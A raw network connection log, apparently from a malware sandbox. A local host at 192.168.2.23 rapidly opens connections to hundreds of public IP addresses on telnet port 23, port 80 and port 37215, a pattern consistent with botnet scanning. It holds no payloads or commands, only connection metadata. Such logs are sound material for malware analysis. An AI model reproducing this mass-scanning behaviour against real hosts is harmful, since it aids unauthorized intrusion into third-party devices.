Dec 3, 2024 23:16:50.175688028 CET	40596	80	192.168.2.23	81.193.189.217
Dec 3, 2024 23:16:50.175692081 CET	40596	80	192.168.2.23	166.27.48.146
Dec 3, 2024 23:16:50.175692081 CET	40596	80	192.168.2.23	168.200.219.64
Dec 3, 2024 23:16:50.175694942 CET	40596	80	192.168.2.23	209.58.154.1
Dec 3, 2024 23:16:50.175694942 CET	40596	80	192.168.2.23	74.248.70.53
Dec 3, 2024 23:16:50.177645922 CET	80	41526	13.3.191.55	192.168.2.23
Dec 3, 2024 23:16:50.178388119 CET	80	41216	160.108.6.246	192.168.2.23
Dec 3, 2024 23:16:50.179120064 CET	80	58364	105.92.24.72	192.168.2.23
Dec 3, 2024 23:16:50.179711103 CET	80	41030	53.125.178.189	192.168.2.23
Dec 3, 2024 23:16:50.180481911 CET	80	60208	194.223.37.30	192.168.2.23
Dec 3, 2024 23:16:50.180988073 CET	80	60312	108.165.135.39	192.168.2.23
Dec 3, 2024 23:16:50.215229034 CET	46958	80	192.168.2.23	134.104.83.77
Dec 3, 2024 23:16:50.215229034 CET	33224	80	192.168.2.23	64.184.219.41
Dec 3, 2024 23:16:50.215230942 CET	44176	80	192.168.2.23	154.175.128.164
Dec 3, 2024 23:16:50.215230942 CET	37594	80	192.168.2.23	41.76.192.116
Dec 3, 2024 23:16:50.215230942 CET	50126	80	192.168.2.23	112.198.79.120
Dec 3, 2024 23:16:50.219933987 CET	80	58364	105.92.24.72	192.168.2.23
Dec 3, 2024 23:16:50.219942093 CET	80	41216	160.108.6.246	192.168.2.23
Dec 3, 2024 23:16:50.219949961 CET	80	41526	13.3.191.55	192.168.2.23
Dec 3, 2024 23:16:50.223495007 CET	37215	35176	41.171.44.196	192.168.2.23
Dec 3, 2024 23:16:50.223887920 CET	37215	35214	41.171.44.196	192.168.2.23
Dec 3, 2024 23:16:50.223896980 CET	80	60312	108.165.135.39	192.168.2.23
Dec 3, 2024 23:16:50.223902941 CET	80	60208	194.223.37.30	192.168.2.23
Dec 3, 2024 23:16:50.223912001 CET	80	41030	53.125.178.189	192.168.2.23
Dec 3, 2024 23:16:50.223937988 CET	35214	37215	192.168.2.23	41.171.44.196
Dec 3, 2024 23:16:50.223977089 CET	35214	37215	192.168.2.23	41.171.44.196
Dec 3, 2024 23:16:50.224179983 CET	37215	49248	197.173.204.9	192.168.2.23
Dec 3, 2024 23:16:50.224457979 CET	37215	49286	197.173.204.9	192.168.2.23
Dec 3, 2024 23:16:50.224512100 CET	49286	37215	192.168.2.23	197.173.204.9
Dec 3, 2024 23:16:50.224526882 CET	49286	37215	192.168.2.23	197.173.204.9
Dec 3, 2024 23:16:50.224961042 CET	37215	52614	41.238.72.229	192.168.2.23
Dec 3, 2024 23:16:50.225183010 CET	37215	52652	41.238.72.229	192.168.2.23
Dec 3, 2024 23:16:50.225224972 CET	52652	37215	192.168.2.23	41.238.72.229
Dec 3, 2024 23:16:50.225239038 CET	52652	37215	192.168.2.23	41.238.72.229
Dec 3, 2024 23:16:50.225692987 CET	37215	55748	197.79.45.182	192.168.2.23
Dec 3, 2024 23:16:50.225827932 CET	37215	55786	197.79.45.182	192.168.2.23
Dec 3, 2024 23:16:50.225867987 CET	55786	37215	192.168.2.23	197.79.45.182
Dec 3, 2024 23:16:50.225883961 CET	55786	37215	192.168.2.23	197.79.45.182
Dec 3, 2024 23:16:50.226262093 CET	37215	52214	197.168.254.205	192.168.2.23
Dec 3, 2024 23:16:50.230657101 CET	23	59138	156.244.103.132	192.168.2.23
Dec 3, 2024 23:16:50.231137991 CET	59138	23	192.168.2.23	156.244.103.132
Dec 3, 2024 23:16:50.231256962 CET	59138	23	192.168.2.23	156.244.103.132
Dec 3, 2024 23:16:50.231640100 CET	59872	23	192.168.2.23	156.244.103.132
Dec 3, 2024 23:16:50.231965065 CET	40602	23	192.168.2.23	157.86.105.212
Dec 3, 2024 23:16:50.231965065 CET	40602	23	192.168.2.23	181.219.150.142
Dec 3, 2024 23:16:50.231966019 CET	40602	23	192.168.2.23	80.44.22.252
Dec 3, 2024 23:16:50.231971025 CET	40602	23	192.168.2.23	116.43.77.86
Dec 3, 2024 23:16:50.231976986 CET	40602	23	192.168.2.23	92.119.111.20
Dec 3, 2024 23:16:50.231976986 CET	40602	23	192.168.2.23	166.121.52.78
Dec 3, 2024 23:16:50.231991053 CET	40602	23	192.168.2.23	38.224.65.246
Dec 3, 2024 23:16:50.231996059 CET	40602	23	192.168.2.23	153.250.98.199
Dec 3, 2024 23:16:50.231996059 CET	40602	23	192.168.2.23	106.94.10.227
Dec 3, 2024 23:16:50.231996059 CET	40602	23	192.168.2.23	74.140.152.34
Dec 3, 2024 23:16:50.231997013 CET	40602	23	192.168.2.23	97.205.34.217
Dec 3, 2024 23:16:50.232006073 CET	40602	23	192.168.2.23	123.137.88.106
Dec 3, 2024 23:16:50.232011080 CET	40602	23	192.168.2.23	104.45.173.145
Dec 3, 2024 23:16:50.232018948 CET	40602	23	192.168.2.23	84.65.53.164
Dec 3, 2024 23:16:50.232023954 CET	40602	23	192.168.2.23	200.222.190.233
Dec 3, 2024 23:16:50.232028961 CET	40602	23	192.168.2.23	85.111.87.32
Dec 3, 2024 23:16:50.232033014 CET	40602	23	192.168.2.23	189.29.18.106
Dec 3, 2024 23:16:50.232048035 CET	40602	23	192.168.2.23	83.52.15.170
Dec 3, 2024 23:16:50.232048988 CET	40602	23	192.168.2.23	143.139.14.228
Dec 3, 2024 23:16:50.232055902 CET	40602	23	192.168.2.23	4.106.108.236
Dec 3, 2024 23:16:50.232059002 CET	40602	23	192.168.2.23	48.37.185.62
Dec 3, 2024 23:16:50.232059002 CET	40602	23	192.168.2.23	111.119.137.187
Dec 3, 2024 23:16:50.232059002 CET	40602	23	192.168.2.23	61.70.201.108
Dec 3, 2024 23:16:50.232059956 CET	40602	23	192.168.2.23	151.213.54.152
Dec 3, 2024 23:16:50.232065916 CET	40602	23	192.168.2.23	48.17.201.163
Dec 3, 2024 23:16:50.232069016 CET	40602	23	192.168.2.23	106.144.39.42
Dec 3, 2024 23:16:50.232084036 CET	40602	23	192.168.2.23	52.179.176.9
Dec 3, 2024 23:16:50.232084036 CET	40602	23	192.168.2.23	52.196.197.149
Dec 3, 2024 23:16:50.232084036 CET	40602	23	192.168.2.23	20.87.225.16
Dec 3, 2024 23:16:50.232085943 CET	40602	23	192.168.2.23	49.218.180.32
Dec 3, 2024 23:16:50.232093096 CET	40602	23	192.168.2.23	172.88.41.181
Dec 3, 2024 23:16:50.232096910 CET	40602	23	192.168.2.23	144.187.120.42
Dec 3, 2024 23:16:50.232111931 CET	40602	23	192.168.2.23	155.64.61.2
Dec 3, 2024 23:16:50.232111931 CET	40602	23	192.168.2.23	27.79.122.80
Dec 3, 2024 23:16:50.232114077 CET	40602	23	192.168.2.23	157.180.46.170
Dec 3, 2024 23:16:50.232115030 CET	40602	23	192.168.2.23	200.119.24.221
Dec 3, 2024 23:16:50.232125044 CET	40602	23	192.168.2.23	40.12.28.184
Dec 3, 2024 23:16:50.232132912 CET	40602	23	192.168.2.23	211.118.140.201
Dec 3, 2024 23:16:50.232135057 CET	40602	23	192.168.2.23	176.17.28.79
Dec 3, 2024 23:16:50.232139111 CET	40602	23	192.168.2.23	210.60.208.75
Dec 3, 2024 23:16:50.232139111 CET	40602	23	192.168.2.23	65.161.204.200
Dec 3, 2024 23:16:50.232139111 CET	40602	23	192.168.2.23	148.29.231.151
Dec 3, 2024 23:16:50.232146978 CET	40602	23	192.168.2.23	160.184.56.164
Dec 3, 2024 23:16:50.232151031 CET	40602	23	192.168.2.23	167.245.205.184
Dec 3, 2024 23:16:50.232153893 CET	40602	23	192.168.2.23	161.76.170.54
Dec 3, 2024 23:16:50.232170105 CET	40602	23	192.168.2.23	31.230.241.96
Dec 3, 2024 23:16:50.232170105 CET	40602	23	192.168.2.23	203.158.173.227
Dec 3, 2024 23:16:50.232170105 CET	40602	23	192.168.2.23	162.143.101.219
Dec 3, 2024 23:16:50.232172012 CET	40602	23	192.168.2.23	112.35.166.10
Dec 3, 2024 23:16:50.232172012 CET	40602	23	192.168.2.23	79.130.198.208
Dec 3, 2024 23:16:50.232180119 CET	40602	23	192.168.2.23	140.244.189.73
Dec 3, 2024 23:16:50.232184887 CET	40602	23	192.168.2.23	98.96.245.98
Dec 3, 2024 23:16:50.232196093 CET	40602	23	192.168.2.23	190.165.176.140
Dec 3, 2024 23:16:50.232199907 CET	40602	23	192.168.2.23	67.10.13.227
Dec 3, 2024 23:16:50.232208014 CET	40602	23	192.168.2.23	58.121.150.170
Dec 3, 2024 23:16:50.232209921 CET	40602	23	192.168.2.23	81.163.4.163
Dec 3, 2024 23:16:50.232209921 CET	40602	23	192.168.2.23	94.149.139.164
Dec 3, 2024 23:16:50.232213974 CET	40602	23	192.168.2.23	111.68.0.30
Dec 3, 2024 23:16:50.232237101 CET	40602	23	192.168.2.23	34.7.226.71
Dec 3, 2024 23:16:50.232238054 CET	40602	23	192.168.2.23	85.48.220.28
Dec 3, 2024 23:16:50.232238054 CET	40602	23	192.168.2.23	115.117.178.116
Dec 3, 2024 23:16:50.232240915 CET	40602	23	192.168.2.23	100.215.186.248
Dec 3, 2024 23:16:50.232240915 CET	40602	23	192.168.2.23	124.74.63.198
Dec 3, 2024 23:16:50.232244968 CET	40602	23	192.168.2.23	176.18.254.150
Dec 3, 2024 23:16:50.232249022 CET	40602	23	192.168.2.23	140.96.175.151
Dec 3, 2024 23:16:50.232254028 CET	40602	23	192.168.2.23	146.52.3.207
Dec 3, 2024 23:16:50.232270002 CET	40602	23	192.168.2.23	185.194.30.47
Dec 3, 2024 23:16:50.232270956 CET	40602	23	192.168.2.23	82.27.57.237
Dec 3, 2024 23:16:50.232270956 CET	40602	23	192.168.2.23	130.17.130.51
Dec 3, 2024 23:16:50.232270956 CET	40602	23	192.168.2.23	115.138.104.223
Dec 3, 2024 23:16:50.232283115 CET	40602	23	192.168.2.23	64.100.180.28
Dec 3, 2024 23:16:50.232287884 CET	40602	23	192.168.2.23	209.50.82.10
Dec 3, 2024 23:16:50.232287884 CET	40602	23	192.168.2.23	168.202.119.65
Dec 3, 2024 23:16:50.232291937 CET	40602	23	192.168.2.23	39.136.200.85
Dec 3, 2024 23:16:50.232291937 CET	40602	23	192.168.2.23	181.239.224.130
Dec 3, 2024 23:16:50.232291937 CET	40602	23	192.168.2.23	19.43.205.97
Dec 3, 2024 23:16:50.232295036 CET	40602	23	192.168.2.23	116.198.232.145
Dec 3, 2024 23:16:50.232295036 CET	40602	23	192.168.2.23	112.148.148.214
Dec 3, 2024 23:16:50.232300997 CET	40602	23	192.168.2.23	68.185.155.119
Dec 3, 2024 23:16:50.232304096 CET	40602	23	192.168.2.23	62.181.43.60
Dec 3, 2024 23:16:50.232319117 CET	40602	23	192.168.2.23	130.207.21.221
Dec 3, 2024 23:16:50.232319117 CET	40602	23	192.168.2.23	72.72.36.86
Dec 3, 2024 23:16:50.232319117 CET	40602	23	192.168.2.23	151.29.210.41
Dec 3, 2024 23:16:50.232323885 CET	40602	23	192.168.2.23	155.181.40.48
Dec 3, 2024 23:16:50.232323885 CET	40602	23	192.168.2.23	59.112.225.117
Dec 3, 2024 23:16:50.232325077 CET	40602	23	192.168.2.23	72.232.249.143
Dec 3, 2024 23:16:50.232325077 CET	40602	23	192.168.2.23	111.102.157.146
Dec 3, 2024 23:16:50.232336044 CET	40602	23	192.168.2.23	194.153.138.23
Dec 3, 2024 23:16:50.232346058 CET	40602	23	192.168.2.23	35.189.31.7
Dec 3, 2024 23:16:50.232350111 CET	40602	23	192.168.2.23	89.163.33.68
Dec 3, 2024 23:16:50.232353926 CET	40602	23	192.168.2.23	1.109.140.212
Dec 3, 2024 23:16:50.232356071 CET	40602	23	192.168.2.23	102.251.192.76
Dec 3, 2024 23:16:50.232362032 CET	40602	23	192.168.2.23	210.177.193.150
Dec 3, 2024 23:16:50.232372999 CET	40602	23	192.168.2.23	70.89.153.126
Dec 3, 2024 23:16:50.232372999 CET	40602	23	192.168.2.23	179.146.123.109
Dec 3, 2024 23:16:50.232372999 CET	40602	23	192.168.2.23	187.229.198.143
Dec 3, 2024 23:16:50.232388973 CET	40602	23	192.168.2.23	83.181.85.156
Dec 3, 2024 23:16:50.232392073 CET	40602	23	192.168.2.23	166.73.120.130
Dec 3, 2024 23:16:50.232392073 CET	40602	23	192.168.2.23	71.121.108.52
Dec 3, 2024 23:16:50.232392073 CET	40602	23	192.168.2.23	145.125.81.81
Dec 3, 2024 23:16:50.232398033 CET	40602	23	192.168.2.23	103.0.148.99
Dec 3, 2024 23:16:50.232400894 CET	40602	23	192.168.2.23	88.105.38.51
Dec 3, 2024 23:16:50.232400894 CET	40602	23	192.168.2.23	142.170.188.170
Dec 3, 2024 23:16:50.232403994 CET	40602	23	192.168.2.23	54.210.25.137
Dec 3, 2024 23:16:50.232403994 CET	40602	23	192.168.2.23	39.231.67.72
Dec 3, 2024 23:16:50.232418060 CET	40602	23	192.168.2.23	4.24.247.168
Dec 3, 2024 23:16:50.232419014 CET	40602	23	192.168.2.23	180.121.154.206
Dec 3, 2024 23:16:50.232419014 CET	40602	23	192.168.2.23	34.139.252.225
Dec 3, 2024 23:16:50.232419968 CET	40602	23	192.168.2.23	4.121.62.184
Dec 3, 2024 23:16:50.232451916 CET	40602	23	192.168.2.23	76.234.108.167
Dec 3, 2024 23:16:50.232451916 CET	40602	23	192.168.2.23	174.23.193.158
Dec 3, 2024 23:16:50.232453108 CET	40602	23	192.168.2.23	66.156.11.229
Dec 3, 2024 23:16:50.232453108 CET	40602	23	192.168.2.23	105.58.210.147
Dec 3, 2024 23:16:50.232456923 CET	40602	23	192.168.2.23	38.28.14.129
Dec 3, 2024 23:16:50.232472897 CET	40602	23	192.168.2.23	188.124.181.39
Dec 3, 2024 23:16:50.232472897 CET	40602	23	192.168.2.23	198.56.46.69
Dec 3, 2024 23:16:50.232474089 CET	40602	23	192.168.2.23	98.44.40.166
Dec 3, 2024 23:16:50.232474089 CET	40602	23	192.168.2.23	217.222.252.35
Dec 3, 2024 23:16:50.232474089 CET	40602	23	192.168.2.23	66.53.120.153
Dec 3, 2024 23:16:50.232475042 CET	40602	23	192.168.2.23	179.189.174.227
Dec 3, 2024 23:16:50.232475042 CET	40602	23	192.168.2.23	178.28.207.190
Dec 3, 2024 23:16:50.232477903 CET	40602	23	192.168.2.23	153.114.210.175
Dec 3, 2024 23:16:50.232479095 CET	40602	23	192.168.2.23	101.123.122.57
Dec 3, 2024 23:16:50.232477903 CET	40602	23	192.168.2.23	193.77.149.132
Dec 3, 2024 23:16:50.232477903 CET	40602	23	192.168.2.23	63.105.82.44
Dec 3, 2024 23:16:50.232492924 CET	40602	23	192.168.2.23	83.30.111.74
Dec 3, 2024 23:16:50.232494116 CET	40602	23	192.168.2.23	77.107.106.6
Dec 3, 2024 23:16:50.232494116 CET	40602	23	192.168.2.23	39.75.58.72
Dec 3, 2024 23:16:50.232494116 CET	40602	23	192.168.2.23	181.128.83.12
Dec 3, 2024 23:16:50.232494116 CET	40602	23	192.168.2.23	213.113.128.209
Dec 3, 2024 23:16:50.232494116 CET	40602	23	192.168.2.23	163.6.140.57
Dec 3, 2024 23:16:50.232497931 CET	40602	23	192.168.2.23	57.19.20.59
Dec 3, 2024 23:16:50.232497931 CET	40602	23	192.168.2.23	84.85.237.38
Dec 3, 2024 23:16:50.232497931 CET	40602	23	192.168.2.23	143.142.220.239
Dec 3, 2024 23:16:50.232497931 CET	40602	23	192.168.2.23	205.169.85.58
Dec 3, 2024 23:16:50.232502937 CET	40602	23	192.168.2.23	68.229.201.159
Dec 3, 2024 23:16:50.232507944 CET	40602	23	192.168.2.23	110.107.216.69
Dec 3, 2024 23:16:50.232507944 CET	40602	23	192.168.2.23	71.23.87.159
Dec 3, 2024 23:16:50.232508898 CET	40602	23	192.168.2.23	99.191.135.253
Dec 3, 2024 23:16:50.232510090 CET	40602	23	192.168.2.23	196.103.7.164
Dec 3, 2024 23:16:50.232510090 CET	40602	23	192.168.2.23	9.112.126.51
Dec 3, 2024 23:16:50.232510090 CET	40602	23	192.168.2.23	206.252.62.113
Dec 3, 2024 23:16:50.232513905 CET	40602	23	192.168.2.23	96.34.184.96
Dec 3, 2024 23:16:50.232513905 CET	40602	23	192.168.2.23	102.63.255.122
Dec 3, 2024 23:16:50.232513905 CET	40602	23	192.168.2.23	84.61.188.35
Dec 3, 2024 23:16:50.232517004 CET	40602	23	192.168.2.23	160.240.243.113
Dec 3, 2024 23:16:50.232517004 CET	40602	23	192.168.2.23	166.222.22.10
Dec 3, 2024 23:16:50.232520103 CET	40602	23	192.168.2.23	149.25.127.51
Dec 3, 2024 23:16:50.232527018 CET	40602	23	192.168.2.23	102.162.226.30
Dec 3, 2024 23:16:50.232527018 CET	40602	23	192.168.2.23	187.86.57.210
Dec 3, 2024 23:16:50.232527971 CET	40602	23	192.168.2.23	38.104.54.87
Dec 3, 2024 23:16:50.232528925 CET	40602	23	192.168.2.23	80.94.139.57
Dec 3, 2024 23:16:50.232528925 CET	40602	23	192.168.2.23	110.202.143.141
Dec 3, 2024 23:16:50.232533932 CET	40602	23	192.168.2.23	155.31.177.243
Dec 3, 2024 23:16:50.232533932 CET	40602	23	192.168.2.23	171.147.177.103
Dec 3, 2024 23:16:50.232533932 CET	40602	23	192.168.2.23	149.15.48.108
Dec 3, 2024 23:16:50.232533932 CET	40602	23	192.168.2.23	79.158.58.31
Dec 3, 2024 23:16:50.232533932 CET	40602	23	192.168.2.23	123.122.189.130
Dec 3, 2024 23:16:50.232546091 CET	40602	23	192.168.2.23	154.123.179.29
Dec 3, 2024 23:16:50.232547045 CET	40602	23	192.168.2.23	90.89.192.77
Dec 3, 2024 23:16:50.232547045 CET	40602	23	192.168.2.23	68.48.11.224
Dec 3, 2024 23:16:50.232547045 CET	40602	23	192.168.2.23	200.155.60.90
Dec 3, 2024 23:16:50.232547998 CET	40602	23	192.168.2.23	133.83.234.86
Dec 3, 2024 23:16:50.232547998 CET	40602	23	192.168.2.23	78.206.202.150
Dec 3, 2024 23:16:50.232548952 CET	40602	23	192.168.2.23	74.62.204.198
Dec 3, 2024 23:16:50.232548952 CET	40602	23	192.168.2.23	63.210.225.18
Dec 3, 2024 23:16:50.232556105 CET	40602	23	192.168.2.23	202.118.187.83
Dec 3, 2024 23:16:50.232556105 CET	40602	23	192.168.2.23	163.73.119.250
Dec 3, 2024 23:16:50.232561111 CET	40602	23	192.168.2.23	80.22.38.46
Dec 3, 2024 23:16:50.232561111 CET	40602	23	192.168.2.23	43.225.152.12
Dec 3, 2024 23:16:50.232563019 CET	40602	23	192.168.2.23	25.124.207.53
Dec 3, 2024 23:16:50.232563972 CET	40602	23	192.168.2.23	218.240.52.113
Dec 3, 2024 23:16:50.232563972 CET	40602	23	192.168.2.23	77.191.162.201
Dec 3, 2024 23:16:50.232563972 CET	40602	23	192.168.2.23	60.24.39.216
Dec 3, 2024 23:16:50.232563972 CET	40602	23	192.168.2.23	40.3.81.97
Dec 3, 2024 23:16:50.232563972 CET	40602	23	192.168.2.23	130.121.129.218
Dec 3, 2024 23:16:50.232567072 CET	40602	23	192.168.2.23	99.184.114.143
Dec 3, 2024 23:16:50.232568026 CET	40602	23	192.168.2.23	41.84.78.0
Dec 3, 2024 23:16:50.232568026 CET	40602	23	192.168.2.23	195.13.213.225
Dec 3, 2024 23:16:50.232568979 CET	40602	23	192.168.2.23	19.228.169.10
Dec 3, 2024 23:16:50.232568979 CET	40602	23	192.168.2.23	157.87.168.25
Dec 3, 2024 23:16:50.232573032 CET	40602	23	192.168.2.23	25.199.130.62
Dec 3, 2024 23:16:50.232573986 CET	40602	23	192.168.2.23	79.233.228.69
Dec 3, 2024 23:16:50.232573986 CET	40602	23	192.168.2.23	4.222.64.73
Dec 3, 2024 23:16:50.232573986 CET	40602	23	192.168.2.23	207.129.113.26
Dec 3, 2024 23:16:50.232574940 CET	40602	23	192.168.2.23	35.202.228.241
Dec 3, 2024 23:16:50.232574940 CET	40602	23	192.168.2.23	152.57.132.0
Dec 3, 2024 23:16:50.232584000 CET	40602	23	192.168.2.23	2.162.23.138
Dec 3, 2024 23:16:50.232601881 CET	40602	23	192.168.2.23	117.5.138.64
Dec 3, 2024 23:16:50.232604980 CET	40602	23	192.168.2.23	143.151.133.37
Dec 3, 2024 23:16:50.232604980 CET	40602	23	192.168.2.23	66.213.241.139
Dec 3, 2024 23:16:50.232604980 CET	40602	23	192.168.2.23	163.253.95.249
Dec 3, 2024 23:16:50.232605934 CET	40602	23	192.168.2.23	57.42.83.225
Dec 3, 2024 23:16:50.232605934 CET	40602	23	192.168.2.23	35.145.217.141
Dec 3, 2024 23:16:50.232609034 CET	40602	23	192.168.2.23	19.134.42.152
Dec 3, 2024 23:16:50.232609034 CET	40602	23	192.168.2.23	128.209.0.33
Dec 3, 2024 23:16:50.232605934 CET	40602	23	192.168.2.23	186.77.231.63
Dec 3, 2024 23:16:50.232605934 CET	40602	23	192.168.2.23	85.145.197.132
Dec 3, 2024 23:16:50.232605934 CET	40602	23	192.168.2.23	75.87.35.212
Dec 3, 2024 23:16:50.232605934 CET	40602	23	192.168.2.23	211.133.62.59
Dec 3, 2024 23:16:50.232605934 CET	40602	23	192.168.2.23	146.5.183.252
Dec 3, 2024 23:16:50.232611895 CET	40602	23	192.168.2.23	53.145.143.12
Dec 3, 2024 23:16:50.232615948 CET	40602	23	192.168.2.23	207.226.201.213
Dec 3, 2024 23:16:50.232615948 CET	40602	23	192.168.2.23	76.225.158.73
Dec 3, 2024 23:16:50.232615948 CET	40602	23	192.168.2.23	52.56.192.165
Dec 3, 2024 23:16:50.232615948 CET	40602	23	192.168.2.23	74.186.233.238
Dec 3, 2024 23:16:50.232618093 CET	40602	23	192.168.2.23	57.177.93.61
Dec 3, 2024 23:16:50.232619047 CET	40602	23	192.168.2.23	138.54.224.3
Dec 3, 2024 23:16:50.232620001 CET	40602	23	192.168.2.23	67.71.24.168
Dec 3, 2024 23:16:50.232620001 CET	40602	23	192.168.2.23	107.240.18.102
Dec 3, 2024 23:16:50.232624054 CET	40602	23	192.168.2.23	47.229.80.243
Dec 3, 2024 23:16:50.232624054 CET	40602	23	192.168.2.23	148.62.86.125
Dec 3, 2024 23:16:50.232626915 CET	40602	23	192.168.2.23	20.74.43.0
Dec 3, 2024 23:16:50.232626915 CET	40602	23	192.168.2.23	169.166.38.179
Dec 3, 2024 23:16:50.232631922 CET	40602	23	192.168.2.23	217.197.121.167
Dec 3, 2024 23:16:50.232634068 CET	40602	23	192.168.2.23	101.155.137.67
Dec 3, 2024 23:16:50.232636929 CET	40602	23	192.168.2.23	19.189.45.85
Dec 3, 2024 23:16:50.232646942 CET	40602	23	192.168.2.23	99.248.52.232
Dec 3, 2024 23:16:50.232657909 CET	40602	23	192.168.2.23	160.154.227.89
Dec 3, 2024 23:16:50.232657909 CET	40602	23	192.168.2.23	40.192.91.21
Dec 3, 2024 23:16:50.232660055 CET	40602	23	192.168.2.23	62.11.17.194
Dec 3, 2024 23:16:50.232660055 CET	40602	23	192.168.2.23	8.231.93.154
Dec 3, 2024 23:16:50.232660055 CET	40602	23	192.168.2.23	8.249.199.66
Dec 3, 2024 23:16:50.232666016 CET	40602	23	192.168.2.23	95.105.212.29
Dec 3, 2024 23:16:50.232666016 CET	40602	23	192.168.2.23	25.120.92.88
Dec 3, 2024 23:16:50.232676983 CET	40602	23	192.168.2.23	110.107.194.171
Dec 3, 2024 23:16:50.232681036 CET	40602	23	192.168.2.23	13.145.200.67
Dec 3, 2024 23:16:50.232687950 CET	40602	23	192.168.2.23	38.39.198.203
Dec 3, 2024 23:16:50.232688904 CET	40602	23	192.168.2.23	76.200.66.120
Dec 3, 2024 23:16:50.232688904 CET	40602	23	192.168.2.23	65.140.12.241
Dec 3, 2024 23:16:50.232690096 CET	40602	23	192.168.2.23	207.226.196.14
Dec 3, 2024 23:16:50.232691050 CET	40602	23	192.168.2.23	73.180.169.155
Dec 3, 2024 23:16:50.232712030 CET	40602	23	192.168.2.23	45.69.158.13
Dec 3, 2024 23:16:50.232712030 CET	40602	23	192.168.2.23	144.166.196.184
Dec 3, 2024 23:16:50.232712984 CET	40602	23	192.168.2.23	144.1.70.129
Dec 3, 2024 23:16:50.232712984 CET	40602	23	192.168.2.23	201.76.193.57
Dec 3, 2024 23:16:50.232718945 CET	40602	23	192.168.2.23	52.101.213.108
Dec 3, 2024 23:16:50.232721090 CET	40602	23	192.168.2.23	70.167.109.47
Dec 3, 2024 23:16:50.232723951 CET	40602	23	192.168.2.23	19.206.26.152
Dec 3, 2024 23:16:50.232731104 CET	40602	23	192.168.2.23	98.25.222.200
Dec 3, 2024 23:16:50.232733011 CET	40602	23	192.168.2.23	189.171.208.145
Dec 3, 2024 23:16:50.232737064 CET	40602	23	192.168.2.23	9.12.177.94
Dec 3, 2024 23:16:50.232743979 CET	40602	23	192.168.2.23	144.250.61.36
Dec 3, 2024 23:16:50.232743979 CET	40602	23	192.168.2.23	94.43.101.123
Dec 3, 2024 23:16:50.232743979 CET	40602	23	192.168.2.23	190.43.172.10
Dec 3, 2024 23:16:50.232748032 CET	40602	23	192.168.2.23	140.231.179.64
Dec 3, 2024 23:16:50.232743979 CET	40602	23	192.168.2.23	219.88.106.195
Dec 3, 2024 23:16:50.232748032 CET	40602	23	192.168.2.23	96.207.16.47
Dec 3, 2024 23:16:50.232743979 CET	40602	23	192.168.2.23	211.87.195.115
Dec 3, 2024 23:16:50.232753992 CET	40602	23	192.168.2.23	35.211.96.139
Dec 3, 2024 23:16:50.232755899 CET	40602	23	192.168.2.23	167.236.236.249
Dec 3, 2024 23:16:50.232758999 CET	40602	23	192.168.2.23	78.96.213.87
Dec 3, 2024 23:16:50.232758999 CET	40602	23	192.168.2.23	39.246.152.233
Dec 3, 2024 23:16:50.232765913 CET	40602	23	192.168.2.23	49.114.4.62
Dec 3, 2024 23:16:50.232767105 CET	40602	23	192.168.2.23	24.98.150.37
Dec 3, 2024 23:16:50.232767105 CET	40602	23	192.168.2.23	5.48.247.173
Dec 3, 2024 23:16:50.232767105 CET	40602	23	192.168.2.23	35.64.192.42
Dec 3, 2024 23:16:50.232767105 CET	40602	23	192.168.2.23	63.13.1.21
Dec 3, 2024 23:16:50.232789040 CET	40602	23	192.168.2.23	147.98.68.126
Dec 3, 2024 23:16:50.232789993 CET	40602	23	192.168.2.23	218.220.63.26
Dec 3, 2024 23:16:50.232789993 CET	40602	23	192.168.2.23	123.3.235.32
Dec 3, 2024 23:16:50.232793093 CET	40602	23	192.168.2.23	174.23.162.145
Dec 3, 2024 23:16:50.232806921 CET	40602	23	192.168.2.23	12.73.195.42
Dec 3, 2024 23:16:50.232811928 CET	40602	23	192.168.2.23	165.78.82.146
Dec 3, 2024 23:16:50.232815027 CET	40602	23	192.168.2.23	9.23.27.153
Dec 3, 2024 23:16:50.232815027 CET	40602	23	192.168.2.23	170.231.206.116
Dec 3, 2024 23:16:50.232835054 CET	40602	23	192.168.2.23	158.70.118.67
Dec 3, 2024 23:16:50.232836962 CET	40602	23	192.168.2.23	125.186.238.167
Dec 3, 2024 23:16:50.232837915 CET	40602	23	192.168.2.23	135.62.9.156
Dec 3, 2024 23:16:50.232844114 CET	40602	23	192.168.2.23	210.125.251.57
Dec 3, 2024 23:16:50.232847929 CET	40602	23	192.168.2.23	2.11.161.32
Dec 3, 2024 23:16:50.232855082 CET	40602	23	192.168.2.23	146.215.235.107
Dec 3, 2024 23:16:50.232855082 CET	40602	23	192.168.2.23	205.135.178.34
Dec 3, 2024 23:16:50.232856989 CET	40602	23	192.168.2.23	5.121.16.6
Dec 3, 2024 23:16:50.232856989 CET	40602	23	192.168.2.23	202.228.191.133
Dec 3, 2024 23:16:50.232863903 CET	40602	23	192.168.2.23	173.239.42.239
Dec 3, 2024 23:16:50.232876062 CET	40602	23	192.168.2.23	210.45.220.138
Dec 3, 2024 23:16:50.232877970 CET	40602	23	192.168.2.23	57.156.211.128
Dec 3, 2024 23:16:50.232877970 CET	40602	23	192.168.2.23	96.44.162.233
Dec 3, 2024 23:16:50.232877970 CET	40602	23	192.168.2.23	32.102.42.70
Dec 3, 2024 23:16:50.232887983 CET	40602	23	192.168.2.23	180.90.192.229
Dec 3, 2024 23:16:50.232898951 CET	40602	23	192.168.2.23	78.209.99.90
Dec 3, 2024 23:16:50.232898951 CET	40602	23	192.168.2.23	156.248.2.216
Dec 3, 2024 23:16:50.232903957 CET	40602	23	192.168.2.23	138.12.121.159
Dec 3, 2024 23:16:50.232908964 CET	40602	23	192.168.2.23	150.186.127.100
Dec 3, 2024 23:16:50.232919931 CET	40602	23	192.168.2.23	210.127.96.74
Dec 3, 2024 23:16:50.232928991 CET	40602	23	192.168.2.23	135.59.235.206
Dec 3, 2024 23:16:50.232928991 CET	40602	23	192.168.2.23	191.177.183.203
Dec 3, 2024 23:16:50.232928991 CET	40602	23	192.168.2.23	197.147.139.194
Dec 3, 2024 23:16:50.232935905 CET	40602	23	192.168.2.23	38.146.183.220
Dec 3, 2024 23:16:50.232938051 CET	40602	23	192.168.2.23	31.247.160.48
Dec 3, 2024 23:16:50.232942104 CET	40602	23	192.168.2.23	27.148.210.37
Dec 3, 2024 23:16:50.232942104 CET	40602	23	192.168.2.23	92.35.231.179
Dec 3, 2024 23:16:50.232942104 CET	40602	23	192.168.2.23	69.19.76.181
Dec 3, 2024 23:16:50.232943058 CET	40602	23	192.168.2.23	176.76.21.14
Dec 3, 2024 23:16:50.232949972 CET	40602	23	192.168.2.23	89.205.32.196
Dec 3, 2024 23:16:50.232949972 CET	40602	23	192.168.2.23	205.22.96.66
